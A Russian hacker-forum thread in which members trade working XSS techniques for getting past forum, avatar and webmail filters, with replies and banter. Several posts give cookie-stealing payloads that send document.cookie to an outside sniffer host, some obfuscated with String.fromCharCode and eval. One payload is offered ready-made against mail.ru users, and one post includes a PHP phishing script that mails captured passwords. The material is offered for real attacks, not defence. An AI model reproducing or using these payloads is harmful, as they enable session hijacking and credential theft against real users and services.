wj.com]wj@wj.com (wj@wj[color=red)
wj.com]wj@wj.com (wj@wj[size=+1)
Теперь тег wj@wj.com
wj@wjhttp://www.wj.com.com
wj@wjhttp://www.wj.com.com
wj@wjwj@wj.com.com
wj@wjwj@wj.com.com
wj@wjhttp://www.wj.gif.com
wj@wjwj.com
wj@wjwj.com
wj@wjwj.com
Опять лимит, теперь уже на смаилики.
Thesaurus
16.12.2005, 04:59
Теперь тег http://www.wj.gif
http://www.wjhttp://www.wj.com.gif
http://www.wjhttp://www.wj.com.gif
http://www.wjwj@wj.com.gif
http://www.wjwj@wj.com.gif
http://www.wjhttp://www.wj.gif.gif
http://www.wjwj.gif
http://www.wjwj.gif
http://www.wjwj.gif
Теперь тег wj
wj
http://www.wj.com[/url]]wj
wj
wj@wj.com[/email]]wj
wj
wj
wj[/color]]wj
wj[/size]]wj
Теперь тег wj
wj
http://www.wj.com[/url]]wj
wj
wj@wj.com[/email]]wj
wj
wj
wj
wj[/size]]wj
И наконец-то тег wj
wj
http://www.wj.com[/url]]wj
wj
wj@wj.com[/email]]wj
wj
wj
wj
wj
Если есть какие нибудь другие теги, которые тоже имеют параметры с кавычками, то также их обрабатываем.
И конечно если все это не помогло, то читайте дальше.
Thesaurus
16.12.2005, 05:01
Для тех, кто читает эту статью, посоветую прочесть статьи Алгола для того, чтобы имея уже первоначальные детские знания, можно было читать дальше иМхо.
http://www.antichat.ru/crackchat/index.html
Я хочу привлечь ваше внимание на следующие:
Оказалось, что в атрибуте style можно указывать URL фонового рисунка для тега. А где можно указывать URL, там можно записать и скрипт. А главное то, что фоновый рисунок загружался сам , по окончании загрузки HTML документа! Если я хотел показать алерт участникам чата, я логинился со следующим цветом:
Теперь прочтите что такое протокол,
http://www.antichat.ru/crackchat/HTTP/http.html
Для начала, выясним для себя что такое протокол вообще. Протокол - это некоторый набор правил и ключевых знаков, предназначенный для общения устройств между собой. Он необходим для того что бы компьютеры или их части могли однозначно понять друг друга.
Протокол - язык общения компьютеров в сети.
Фактически любой набор команд можно назвать протоколом, но на практике понятие протокола применяется только к так называемым сетевым протоколам - языкам общения компьютеров в сети. Каждый протокол имеет определенное назначение и поддерживается специализированным программным обеспечением.
И конечно не мешало бы прочесть её целиком.
Где мы остановились иМхо....а да!
Ну так вот...
Иногда, закрыть параметр одного тега, кавычкой другого параметра тега - невозможно из-за хорошей фильтрации. Что делать тогда?
Есть такой вариант, который всегда забывается писателями фильтров из-за не понимания как в состоянии может работать JavaScript а главным образом - как работают браузеры и протоколы. (Они статью Алгола не читали)
Для начала расскажу информацию на разброс..
Само слово, "Browser", это существительное, (Noun) что в переводе на русский язык означает - Просматриватель. Произошло это Английское слово нашего браузера, от его глагола, (verb) - To Browse. "To Browse", по Английски означает - Просматривать, просмотреть.
<img src="http://www.wj.gif">
Если слова атрибутов написать не сокращенно, то мы получим "image source".
"image" Это в переводе с Английского слова на Русский, означает - Изображение.
Слово, "source", это переводится как - Источник.
После статьи Алгола про протоколы, вам станет ясно, что если в параметр тега ссылки,
<a href="http://www.wj.com">wj</a>
Указать,
javascript:alert(/wj/)
Написав вот так.
<a href="javascript:alert(/wj/)">wj1</a>
То при клики юзера на имя ссылки, "wj", у юзера выскочит алёрт.
Ну это при щелкании пользователя выскочит алёрт....а возможно ли это сделать так, чтобы это было автоматически вы меня спросите? =)
Конечно можно Я отвечу =) ...просто тег ссылки, заменим на тег картинки.
<img src="javascript:window.alert(/wj/)">
Или чуток по короче:
<img src="javascript:alert(/wj/)">
Ну и сейчас хлынут массовые вопросы типа:
А почему строка
<img src="javascript:alert(/wj/)">
работает только в ИЕ и в Опере?
А вообще почему легендарный так сказать код Алгола,
Style=background:url(javascript:alert('wj'))
не работает даже в Опере?!....
Ответ,
Работает во всех браузерах, но об этом чуток потом. А вообще кто вам всем сказал такие глупости? Да и вообще Я удивляюсь, что за 5 лет, на античате, НИКТО не додумался дописать Алголовский код ну, ХОТЯ-БЫ для Оперы! Очевидно, что никто ничего не понимал, а просто делал copy/paste.
Ну начну с самого начала что-ли тогда.....
Сам код,
<img src="javascript:alert(/wj/)">
Работает не только в ИЕ и в Опере, но в и в браузере Фаерфокс, однако просто напросто происходит фильтрация и пользователь мануально должен кликнуть на не отобразившуюся картинку, чтобы у него выскочил алерт.
Приведу кусок объяснения JavaScript консоль, которая находится в разделе "Инструменты". (В самом верху браузера)
Error: uncaught exception: Permission denied to get property Window.alert
Перевожу,
Ошибка: Не выполненное исключение: Разрешение отказано получить свойство Window.alert
Хотя
<a href="javascript:alert(/wj/)">wj</a>
При клики пользователя на имя ссылки, алерт будет работать во всех трех ведущих браузерах. ИЕ, Опера и Фаерфокс.
Или вот ещё одна цитата,
Attempt to load a javascript: URL from one host
in a window displaying content from another host
was blocked by the security manager.
Так вот, в Фаефокс, уже встроена маленькая защита от таких видов атак. В ИЕ кстати, она теперь тоже есть, но только работает на localhost.
Как её отключить?
Описываю по Английски,
Идете в раздел, "Tools", потом в раздел, "Advanced", и в самом низу, вы увидите, "Security", теперь вы увидите "Allow active content to run in files on My Computer" поставьте сюда галку.
Если она у вас отключена по умолчанию, и вы её включите, то почти все автоматические скрипты теперь будут браузером ИЕ - блокироваться. (Однако только на localhost!) В фаерфоксе как уже сказал, этот метод защиты стоит по умолчании и его даже отключить нельзя.
А теперь продолжим нашу статью.
Уже понятно, что если в ББ кодах картинки тега, вписать следующие:
javascript:alert(/wj/).gif
То в результате, мы получим обработанный ББ кодами следующий результат в HTML, и у нас выскочит алёрт.
<img src="javascript:alert(/wj/)">
Чтобы такого не случилось, то есть чтобы пользователь не имел возможности вливать свои команды JavaScript`a когда он посылает динамический материал который будет виден всем, многие фильтры очень умно, просто напросто сами добавляют http:// в ББ код ссылки или картинки, перед динамическим значением пользователя.
То есть, если мы на хорошо фильтрующем форуме, в ББ код картинки засунем следующий материал,
javascript:alert(/wj/).gif
То он обработает это вот так:
<img src="http://javascript:alert(/wj/).gif">
И плакали все наши старания атаковать через этот метод....
Но некоторые фильтры вместо того, чтобы просто добавить http:// перед любым введением динамического материала пользователя, просто фильтруют слово JavaScript заклиниваясь на нем....они просто не понимают, что работает, почему что то работает и как что то работает вот и все. В итоге лечат как называется - в слепую. О как много значит понимать!!!
Ну пойдем-те дальше.
Если к примеру, на форуме XXX ввести следующие значение,
javascript:alert(/wj/).gif
То форум поставит слеш, в середине слеша две звездочки, а потом эти две звездочки закроются другим слешом. В результате он выдаст вот такую конструкцию:
<img src="java/**/script:alert(/wj/)">
Конструкция /**/ это тоже самое (Образно говоря, конечно не совсем так, так как это зависит чисто от ситуации. Это вообще то даже не пробел, а совсем другое, однако это не совсем важно иМхо.) что и пробел. То есть он просто слово JavaScript, разделил пробелом.
<img src="java script:alert(/wj/)">
Да, так работать Javascript не будет....но если бы писатель фильтров форума ХХХ понимал, что собственно происходит ДО того как параметры обрабатываются, то он все таки поставил бы http:// вместо того, чтобы заклиниваться на ключевом слове JavaScript.
Когда браузер берет значение параметра, то он его до выполнения обрабатывает это мы знаем.....а теперь давайте посмотрим, что будет если перед каждым словом, мы вставим табуляцию. Давайте посмотрим как обработает это браузер.
<img src=" j a v a s c r i p t : a l e r t ( / w j / ) ">
Перед каждым словом, стоит табуляция. Введем мы одно, а получим в результате - другое. Наше динамическое введение в ББ код картинки, будет передано форуму, который засунет это в файл где будет скан на наш динамический ввод, не найдя ничего запретного, файл вставит это в HTML, а браузер обработает наш динамический ввод - по своему. =)))
<img src=" j a v a s c r i p t : a l e r t ( / w j / ) ">
Браузер как в чём не бывало, просто напросто уберет все табуляции ДО выполнения. В итоге, он выполнит следующие:
javascript:alert(/wj/)
И опять таки, у нас выскочит алёрт.
Тоже самое происходит и с HTML entities DEC, HEX т.д. Браузер их обрабатывает и расшифровывает их до выполнения параметра.
Имея теперь такое новое знание, рассмотрим ещё одну фильтрацию на примере
http://forum.Xakep.ru http://forum.gameland.ru и http://forum.xyligan.ru
Ведь уже понятно, что совсем не обязательно использовать ББ коды....ведь ещё есть и персональная фотография, и аватара....они будут идти с вами куда бы не бывало и будут преданны вам каким бы хамом вы бы небыли...с кем бы вы не говорили....короче все вас могут бросить, а они с вами - вечно.
Идём в наши настройки профиля и указываем адрес в нашу аватару как:
javascript:alert(/wj/)
Мы получим подтверждение, что наш профиль обновлен.
Давайте теперь заглянем в HTML.... (Ctrl+U)
Получилось следующие...
<html><body><img src="java:alert(/wj/)"></body></html>
Очевидно, что файл который сканил наш динамический ввод, нашел неприятное для него и любезное для нас слово JavaScript, и нагло разделил его, а потом без нашего разрешения вырезал вторую половину...
ЧТО ЗА БЕСПРЕДЕЛ!? Вы меня спросите....спакуха, Я с вами.
А давайте посмотрим, что будет, если буквы javascript мы зашифруем ихними эквилиаторами.
javascriptalert(/wj/)
Уже понятно что будет, наш браузер, наш динамический ввод, расшифрует перед выполнением нашего параметра и у нас выскочит алёрт.
Вот такая мы команда Я и мой браузер, Я шифрую, он расшифровывает. +)
Как написать сниффер?
javascript:document.images[1].src='http://antichat.ru/cgi-bin/s.jpg?kezletron'+document.cookie
Вот так.
Причем форумы http://forum.Xakep.ru http://forum.gameland.ru и http://forum.xyligan.ru
Прославились тем, что они пассворд в куках пользователей - держат в открытом виде.
Теперь куки, а в них и не зашифрованный пароль в открытом виде, будут приходить на публичный античатовский сниффер от всех юзеров кто пользуется браузером ИЕ и Опера, а вам только нужно будет разговаривать с собеседниками у которого браузер ИЕ или Опера - как в чём не бывало.
Используйте эту ссылку для шифровки. http://ha.ckers.org/xss.html
Эту ссылку, чтобы выучить языки, правда все на Английском.
http://www.w3schools.com/
Эту ссылку,
http://www.lookuptables.com/
Для просмотра значений ASCII (American Standard Code for Information Interchange)
Ну и продолжим нашу статью.
Собственно теперь вопрос почему код:
<html><body>
<span style="background:url(javascript:alert(/wj/));">wj</span>
</body></html>
Или,
<html><body>
<span style="background-image:url(javascript:alert(/wj/));" >wj</span>
</body></html>
Работает только в браузере ИЕ?
Во-первых, если кто не знал, это (В параметре) язык CSS, и следовательно писать надо четко и понятно, так как система ИЕ убирать ошибки программистов, не так уж и разработана в таких браузерах как Фаерфокс и Опера.
Я пришел к выводу, что ссылку надо заключать в кавычки.
<html><body>
<span style="background:url('javascript:alert(/wj/)');">wj</span>
</body></html>
Или,
<html><body>
<span style="background-image:url('javascript:alert(/wj/)');" >wj</span>
</body></html>
Или,
<html><body>
<span style="display:none;background:url('javascript:eval((this .wj1));wj1=alert(/wj2/);') ">
</body></html>
И теперь все, и везде - работает. Во всех трех браузерах.
Однако только потому что теперь Алголовский од работает во всех трех браузерах, совсем не означает, что фаерфокс эту атаку не от-блокируют.
Для начала, выложу то, что работает в ИЕ и Опере:
<html><body>
<table width="100%" background="javascript:alert('wj')">
</body></html>
Или,
<html><body>
<table cellpadding="0" background="javascript:alert('wj')">
</body></html>
Ибо как только мы поняли, что вместо урл можно вставлять,
JavaScript:alert('wj')
То следующие действия очень понятны. Найти все, что указывает урл, (Используйте для этого следующий урл http://www.w3schools.com/ ) и вставить туда
JavaScript:alert('wj')
К примеру,
<html><body>
<table background="javascript:alert('wj')">
</body></html>
Ну и так далее иМхо.
<html><body>
<script language="bla bla bla" type="text/bla" src="javascript:alert('wj')"></script>
</body></html>
<script type="text/javascript" src="javascript:alert('wj')"></script>
<html><body>
<link rel="stylesheet" type="text/css" href="javascript:alert('wj')">
</body></html>
Выскакивает алёрт в ИЕ и Опере, (Фаерфокс это блокирует, но потом покажу что он НЕ блокирует) и ни единой паливы иМхо.
Мне кажется, что ни один имейл не сможет отфильтровать то, что Я вам сегодня дал. Именно по этому Американским солдатам, ЗАПРЕЩЕНО использовать такие ящики как http://www.hotmail.com/ http://mail.yahoo.com/ и http://www.gmail.com/ ...что уже говорить у русских ящиках которые не имеют достаточно финансов, чтобы иметь защиту, ну хотя бы ПОХОЖУЮ иМхо на Америкосовские ящики ИМХО ибо Я Гений.
Но продолжим, ибо это вы и так уже знаете.
Для начала, поясню кое что для новичков,
Это,
<script language="javascript">a=1;while(a>=0){alert(a);a--}</script>
Тоже самое, что и это,
javascript:a=1;while(a>=0){alert(a);a--}
Где убрав угловые скобки и сократив наш скрипт до вышеприведенной строки, мы так же дали знать браузеру посредством протокола, что идет язык JavaScript.
Чуток о мылах.
Должен заметить, что иногда, проверяется или точнее сказать фильтруется на ящиках только первый параметр тега с его атрибутом...но ведь ещё есть и вспомогающие атрибуты...про них иМхо, часто писатели фильтров - забывают.
К примеру:
<html><body>
<img class="inlineimg" src="javascript:alert('wj')" alt="" border="0"/>
</body></html>
А теперь давайте рассмотрим, что Фаерфокс НЕ блокирует, чисто для примера. Ибо способов уйма иМхо.
<html><body>
<body onload=alert(/wj/)>
</body></html>
<html><body>
<img src="" onerror=alert(/wj/) style="display:none">
</body></html>
<html><body>
<img src="" onerror="javascript:alert('wj')">
</body></html>
И хоть в этой статье, http://antichat.ru/crackchat/HTML/
И говорится что цитирую:
<iframe src=javascript:alert('ok')> (только в IE)
Однако в фаерфкос это работает.
<html><body>
<iframe src= "javascript:eval(this.wj); wj=this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'">
</body></html> (Использована табуляция для попытке обхода фильтров на ящиках.)
<html><body>
<iframe src= "javascript:eval(this.wj); this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'">
</body></html> (Использована табуляция для попытке обхода фильтров на ящиках.)
Если в настройках в ИЕ, запретить active content работать в файлах на нашем компьютере, то в отличие от Фаерфоксовской защиты, которая в Фаерфоксе по умолчанию и изменить ее нельзя, обойти защиту ИЕ, которую нужно отредактировать в настройках - однако никак нельзя. Что есть существенное доказательство, что IE и ЕСТЬ самый защищенный браузер среди его конкурентов у себя на компьютере ) Просто надо правильно уметь им пользоваться. +)
В других словах ИЕ, является самым лучшим и самым защищенным браузером на сегодняшний день от атак XSS на localhost.
На этом пожалуй и окончу свою Гениальнейшую статью.
White Jordan.
[Zarakul]
16.12.2005, 09:23
Мдя, статья действительно гениальная... её способны дочитать до конца только гении ))
все на что был способен это сохранить, больше неасилил, надо бы почитать ,действительна статья гениальная, блеск
хы,статья не плохая,wj респект все не асилил 3-4 экрана пролистал из-за того что не интересно,то есть кусками почитал,уж больно размулевано сильно =)
NIGHT_WOLF
16.12.2005, 13:15
Как всегда гениально, но уж сильно много =)
Сохранил буду понемногу разбираться...
А статья так, ничего... правда я ещё не читал-)) Уж больно много=)))
почерпать могут из неё как и новички, так и Алгол
Как всегда юмор тоже присутствует=)) Значит все, кроме Алгола тут новички))))))))
хм сильно! но имхо все это можно было уложить в меньшем обьеме=)) подробно расписана работа с атрибутом style - молодец
---
Всех с наступающим!!
fucker"ok
16.12.2005, 17:04
wj++
Всегда бы так, а если было бы без мата, то вообще - просто подарок на новый год. :D
Молодец wj,можна сказать браво,конечно всё не прочитаеш потому что многа, а так некотырые моменты прочитал.
Ипать, ты походу пол-рунета сюда скопи-пастил =)))....Ну если много тегов, то значит что то полезное)), прочту когда пару недель свободно будет -)))
max_pain89
17.12.2005, 01:05
Я тоже к сожалению с первого захода не осилил... А wj, молодец, ихмо
Сохранил. Всётаки ВиДжей полезный человек. Хоть и вредный-_-
Thesaurus
17.12.2005, 23:42
Естественно статья получилось очень долгая, (Я вообще-то хотел и по дольше написать) так что не стесняйтесь указывать на ошибки, как грамматические так и технические. :rolleyes:
Я по тихоньку поправляю что замечаю, но сами понимаете все заметить не смогу. :rolleyes:
Кстати кому нужна моя аська, то вот она:
271297145 :rolleyes:
З.Ы. Белый Джордан не несет никакой ответственности если Белого Джордана в аськи нет, а так же не несет ответственности если опять бзикнит, и поменяет свою аську на другую.
Вот ето я понимаю человек поработал. Респект.
ЗЫ: WJ - the best!
---------------------------------------
[Zarakul]
Мдя, статья действительно гениальная... её способны дочитать до конца только гении ))
А написать? :D
как ни старался, не смог дочитать до конца.
Статья реально полезная.
ТОлько вот фиолетовые теги на сером фоне форума тяжело читаются, приходилось выделять
Статья -- АРХИРУЛЕЗ
Я вот все думал почему
<span style='background:url("javascript:alert()");'>wj</span>
не работает в опере..... а тут оказалось что работает... только вот для того чтобы работало надо чтобы и одинарные и двойные кавычки не фильтровались... грустно это как-то
Статья -- АРХИРУЛЕЗ
Я вот все думал почему
<span style='background:url("javascript:alert()");'>wj</span>
не работает в опере..... а тут оказалось что работает... только вот для того чтобы работало надо чтобы и одинарные и двойные кавычки не фильтровались... грустно это как-то
Мда...СОВСЕМ не факт имхо... :o
Имхо ну для начало вот так,
<span style='background:url("javascript:alert()");'>wj</span>
В скобках обязательно нужно писать какие нить данные, ибо это грамматически правильно и тогда тоже будет работать в Фаерфокс. Если же в скобках укажешь пустату, то пустотой у тебя и будет в Фаерфоксе. То есть будет только работать в ИЕ и в Опера, а в Фаерфокс - НЕТ!!!!!! :rolleyes: :confused: :rolleyes:
Хотя это даже не важно и не является фактом ибо в Фаерфоксе ведь все ровно защита от таких выкрутасываний имхо. :rolleyes:
А то что кавычки фильтруются, то и это не беда ибо в параметрах (То, что идет после знака равенства) можно кодировать в HTML entities. :rolleyes:
Используй эту ссылку для шифровки.
http://ha.ckers.org/xss.html
В самом низу.
Кстати и античату не мешало бы сделать что нить такое а то приходится ссылаться на другие классные проекты. Чем мы хуже имхо спрашивается имхо????"!"!"!"!" :eek: :mad: :confused: :rolleyes:
К примеру это,
<span style=background:url('javascript:alert(/wj/)')>wj</span>
Будет тоже работать и вот так,
<span style=background:url('javascript:alert(/wj/)')>wj</span>
А вот еще вопрос...
а можно ли как-то проводить активный КСС если у жертвы отключены картинки... я так понимаю background-image уже не пойдет... а onmouseover как-то не совсем надежно....
А вот еще вопрос...
а можно ли как-то проводить активный КСС если у жертвы отключены картинки... я так понимаю background-image уже не пойдет... а onmouseover как-то не совсем надежно....
А хе, очень даже интересная тема, что именно работает в плане картинок или что нить такое если картинки отключены. :cool:
Щас буду тестировать. Я знаю, что вот так,
<iframe src="javascript:alert(/wj/)">wj</iframe>
будет работать вне зависимости если браузер ИЕ, ФФ или Опера или если картинки выключены. Тоже, самый лучший способ это использовать функцию onerror=alert(/wj/) которая тоже работает во всех трех браузерах. А насчет картинок думаю протесчу может новое что нить найду.
В принципе если Джаваскрипт включен а картинки выключены, то это не беда, но мне интересно будет ли работать onerror=alert(/wj/) если картинки отключены. Ведь он будет только работать ПОСЛЕ загрузки картинки и если картинку закачать не удалось, то тогда сработает онеррор....но хотя протесчу посмотрю, что может из этого быть. :cool:
В принципе, вот только что протестил с отключенными картинками в ИЕ,
вот так
<img src="javascript:alert(/wj/)">
не работает, а вот так,
<img src="javascript:alert(/wj/)">
<script>onerror=alert(/wj/)</script>
- Да. :cool:
Так что если картинки отключены, то это совсем таки не беда. :cool: Это Я типа пример дал. Onerror рулит это мое личное мнение имхо. :cool: Надо просто уметь им пользоваться. :cool:
EDIT: Но однако опять сделал тест, onerror в этом случае работает не из-за онеррор... :D :D :D
Ибо так,
<script>onerror=alert(/wj/)</script>
Будет тоже работать само по себе. :D
Ща будем еще думать. :D
EDIT: Кстати пока искал, понял почему онеррор работает сам по себе. :cool:
<span style=background:url('javascript:wjwjwjwjwjwjwjwjw jwjwjwjwjwjwjwjwjwjwjwjwjwjwj=alert(/wj/)')>wj</span>
Так тоже будет работать в ИЕ. :D
То есть оказывается не важно, что идет до параметров!
Они в этом случае становятся наименованиями. :D
<script>wjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwj=alert(/wj/)</script>
Кстати если ты отключишь картинки, то ты в принципе их не отключишь, а заблокируешь автоматически закружатся вот.
<img src="javascript:alert(/wj/)">
С отключенными картинками в ИЕ, ты приведешь браузер ИЕ в состояние ФФ! То есть если правой кнопкой мыши нажмешь на "view image" алерт появится! Это состояние является включенным по умолчанию в браузере Фаерфокс. :cool:
EDIT:
Кстати еще добавлю, что если написать вот так,
<img src="http://forum.antichat.ru/antichat/pic/logo.gif" onLoad="alert(/wj/)">
то тоже будет алерт во всех браузерах. То есть если картинка существует.
Если же она НЕ существует,
то думаю, что всем понятно и так, что следует писать вот так,
<img src="http://forum.antichat.ru/antichat/wj/logo.gif" onError="alert(/wj/)">
President Bush
31.01.2006, 23:36
wj@wj[/url].com
] (style=display:none;background:url(javascript:docu ment.images[1].src="http://antichat.org/s/antichat .gif?"+document.cookie);)
] (http:// wj
] (http://www.wj.com wj[url=http://www.wj.com style=display:none;background:url('javascript:img= new/**/Image();img.src="http://antichat.org/s/login.gif?"+document.cookie;') wj)
<script>img=new Image();img.src="http://antichat.org/s/login.gif?"+document.cookie;</script>
Вот такие тоже бывают примеры вот. :rolleyes:
Это все полезно для новичков чтобы знали как это все выглядит. :rolleyes:
Мы старые, должны новичком помогать и их обучать вот. :rolleyes:
<img src=http://www.xss.gif s='"p">'onerror=alert(/wj/) style=visibility:hidden>
Вот так ломается mail.ru, inbox.ru, bk.ru, list.ru, rambler.ru, и другие, а главное, что работает проверенно в Опере, Фаерфокс и ИЕ. (Сейчас четвертое Марта, 2006 год)
А вот так ломается инвизион 2.*
/ onerror=alert(/wj/) .gif
Где Я поставил табуляции вместо пробелов.
И обратите внимание, что элемент img, не терпит в своем параметре какого либо пробела чтобы сработала функция onerror! Это можно ТОЛЬКО обойти посредством слеша (/) или точкой с запитой. (;)
То есть вот так вот,
<img src="http://www.wj.gif<a href=" onerror=alert('wj') style="display:none;">
Именно из-за пробела в атрибуте src элемента img, в браузере фаерфокс скрипт не сработает! Но за-то вот так вот - сработает.
<img src="http://www.wj.gif/<a href=" onerror=alert('wj') style="display:none;">
Или,
<img src="http://www.wj.gif;<a href=" onerror=alert('wj') style="display:none;">
И еще, если этот же код написать в Опере, то работать не будет из-за style="display:none;" но это не беда, ибо можно просто написать вот так вот и все везде будет работать, будучи не видимо для пытливых глаз:
<img src="http://www.wj.gif;<a href=" onerror=alert('wj') style="visibility:hidden">
Воруем куки...
<img src=javascript:i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;>
И еще, иногда обойти фильтры посредством HTML объектов не удается, (w) тогда приходится прибегать к урл кодировки о которой Я еще не нашел, чтобы кто нибудь знал.
<img src="javascript:alert('wj')">
Кодируем в урл кодировку,
<img src="javascript:%61%6C%65%72%74%28%27%77%6A%27%29">
Честно говорю, что очень мало кто знает об этом способе.... Ну и надо еще знать, что закодировать в урл кодировку можно только после протокола JavaScript и т.д.
Иногда приходится угнать куки при помощи vbscript, а как это делается? vbscript как Я теперь узнал, не поддерживает способы вызывать браузерам картинки так, как это в состоянии делать JavaScript, (По крайней мере Я таких примеров не встречал и не нашел) но это не беда, поскольку мы можем обходить эту дилемму посредством перехождения с одного протокола на другой.
<img src=vbscript:window.execScript("img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;")>
И опять таки, иногда провести onerror() можно, а все параметры как нам на зло фильтруются и идет жуткая фильтрация на HTML объекты и на прочею дребедень. Ну тогда можно прибегнуть к нашему любимому String.fromCharCode()
<!-- Это нельзя писать произвольно, то большими буквами, то маленькими, то есть вот так, String.FromCharCode() работать у вас не будет. -->
И так, используем уже готовую ссылку,
http://ferruh.mavituna.com/stringfromcharcode.asp?
И кодируем следующую строку.
document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;
Которая есть ни что иное как код сниффера, который работает к примеру вот так, в таком виде:
<img src="http://www.badimage.gif" onerror='document.images[0].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;'>
И получаем следующие:
Char : document.images[0].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;
Ascii : 100,111,99,117,109,101,110,116,46,105,109,97,103,1 01,115,91,48,93,46,115,114,99,61,34,104,116,116,11 2,58,47,47,97,110,116,105,99,104,97,116,46,114,117 ,47,99,103,105,45,98,105,110,47,115,46,106,112,103 ,63,34,43,100,111,99,117,109,101,110,116,46,99,111 ,111,107,105,101,59
JS Code :
String.fromCharCode(100,111,99,117,109,101,110,116 ,46,105,109,97,103,101,115,91,48,93,46,115,114,99, 61,34,104,116,116,112,58,47,47,97,110,116,105,99,1 04,97,116,46,114,117,47,99,103,105,45,98,105,110,4 7,115,46,106,112,103,63,34,43,100,111,99,117,109,1 01,110,116,46,99,111,111,107,105,101,59);
Ну а теперь применяем наш закодированный вариант, в совокупности функцией eval()
<img src="http://www.badimage.gif" onerror=eval(String.fromCharCode(100,111,99,117,10 9,101,110,116,46,105,109,97,103,101,115,91,48,93,4 6,115,114,99,61,34,104,116,116,112,58,47,47,97,110 ,116,105,99,104,97,116,46,114,117,47,99,103,105,45 ,98,105,110,47,115,46,106,112,103,63,34,43,100,111 ,99,117,109,101,110,116,46,99,111,111,107,105,101, 59));>
Смотрим лог сниффера, http://www.antichat.ru/sniff/log.php
Если кто нибудь хочет узнать как создавать липовые страницы, то вот Я описал этот метод на этой ссылки.
http://video.antichat.net/file181.html
White Jordan.
Администрация несет полную ответственность за ваши взломы.
<img src=http://www.xss.gif s='"p">'onerror=i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie; style=visibility:hidden>
Просто все хотели готовый код куки воровать на mail.ru так что вот вам. Резвитесь. :cool:
P.S.
Чтобы обезопасится от такой атаки, достаточно просто выключить загрузку картинок в своем браузере.
Но однако не совсем ок, ибо логически можно провести атаку метода Tarce, о котором Я как нить тоже напишу статью.
Method Trace
Метод Trace, это такой способ, который позволяет проводить атаку XSS вне зависимости где находится жертва. Как мы все знаем, куки не переходят от одной области в другую, то есть если Я сейчас создам страницу на narod.ru с кодом воровки кук, и тут на античатовском форуме пройдусь по этой ссылки залогинившися при этом в мой аккунт, то мои куки полетят на сниффер от НАРОДА а не от форума античата. С методом трейс однако, это легко обходится. Болие того, если картинки отключены, то тоже реально упереть куки если провести эту атаку, которую можно провести где угодно. Понимайте метод трейс, как метод атаки XSS на WWW в любом месте, в любое время.
Как узнать если этот метод поддерживается?
Очень просто, он всегда включен по умолчанию, но можно и проверить написав код или на Джаваскрипт, или же воспользоваться этой ссылкой.
http://web-sniffer.net/
Можно ли ломануть античатовский форум этим методом? Да! Реально ли? Да! Убийство ли это времени? О да! +)
Как? Да очень просто, совсем не обязательно просить или нудить кого нибудь посетить нашу ссылку которая будет воровать куки Админов а то и сессию админской панели, когда это можно сделать в любом месте и сделать чтобы скрипт срабатывал автоматически и без ведо админа, ну к примеру просто послав Админу или кому угодно на античате на мыло к примеру мейл.ру письмо, или туда где админ или наша жертва обитает будь то уязвимый форум, чат т.д. и вместо кода сниффера для мейл.ру, впаять код сниффера для античатовского форума. Так как ИП теперь у нас привязывается к сессии (Кстати это из-за меня +) ) и кук нам не совсем достаточно, то есть два пути:
1. Или уловить админа и своровать админ-панельские куки, которые можно тут же применить и выполнить с ними собственный скрипт сделав себя админом, или же, узнавать с помощью скрипта мыльники пользователей и их взламывать, что для меня очень легко делать через XSS. Потом можно сделать себе ретрив паролей. +)
Ну логически будет просто метод трейс отключить так? Ведь все что нужно, так это отключить на античате этот метод и усе.....
А ведь можно еще и заставить проксю, то есть прокси сервер которым античатовец пользуется, вернуть нам трейс информацию, то есть - его куки. +)
Короче вот интересная чтива.
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf
http://www.modsecurity.org/archive/amit/xst_strikes_back.txt
Тут очень все ясно и понятно.
Вот Джордан передал чтиво:
http://www.r-i-p.info/artview.php?id=182
и еще кое что:
http://www.cyberinfo.ru/16/3181_1.htm
:)
Молодец wj. А зачем банят не понимаю толку всё равно нету )).
Wj много из чужих взял
я так тоже могу завалюсь на сайт америкосов перевду их мысли и сюда сапостю
Что то ты воще не в тему сказал.
Web Giant
10.03.2006, 06:17
document.images[1].src=/http:xxantichat.ruxcgi-binxs.jpg/.source.replace(/x/g,String.fromCharCode(47))+String.fromCharCode(63) +document.cookie
Один из видов воровки кук.
eval(WJ=/document.write(unescape(x<frameset cols=100% rows=100% border=0 frameborder=0 framespacing=0><frame frameborder=0 src= ></frameset>x))/.source.replace(/x/g,String.fromCharCode(34)))
Кодируем в урл то, что надо и все.
http://ha.ckers.org/xss.html
Сам файл.
<?
if(isset($_POST['login']) && isset($_POST['passwd'])){
mail("antichat_bar@mail.ru", "privet", $_POST['login'].":".$_POST['passwd']);
header("Location: http://www.antichat.ru/");
}
?>
Кому надо тот поймет. :rolleyes:
Web Giant
10.03.2006, 22:36
Wj много из чужих взял
я так тоже могу завалюсь на сайт америкосов перевду их мысли и сюда сапостю
Ссылку дай тех кого Я копирую?
Если Я на кого нить ссылаюсь, то как ты уже заметил, Я или даю ссылку или говорю автора.
Все остальное что Я здесь написал, это Я все нашел сам не зависимо от тех, кто это нашел до меня, или же после.
И ни кого Я не копирую ибо некого и копировать.
Ты забил добавить что ты гений :Р
Эхх, Жорик вернулся...
[sorry за оффтоп]
Web Giant
11.03.2006, 02:38
Ты забил добавить что ты гений :Р
Эхх, Жорик вернулся...
[sorry за оффтоп]
Да Я никогда и не уходил если честно. Я всегда был на античате. :rolleyes: Каждый день почти уже год. :rolleyes:
Web Giant, ты вроде бы прошался с нами..не уж-то обманул :(
Web Giant
11.03.2006, 22:21
Web Giant, ты вроде бы прошался с нами..не уж-то обманул :(
Так вы же не захотели прощатся? Вот Я и не ушел. Никакого обмана тут нету, вы сами не захотели. :rolleyes:
да нет.. мы тебя проводили достойно! Загляни в репу и узнаешь -) ток того забаненного..)
Давай, гений... пора тебе ненадолго свалить чтоль.. не ну без обид! Исчезни плз! Будь другом!
Web Giant
11.03.2006, 23:17
да нет.. мы тебя проводили достойно! Загляни в репу и узнаешь -) ток того забаненного..)
Давай, гений... пора тебе ненадолго свалить чтоль.. не ну без обид! Исчезни плз! Будь другом!
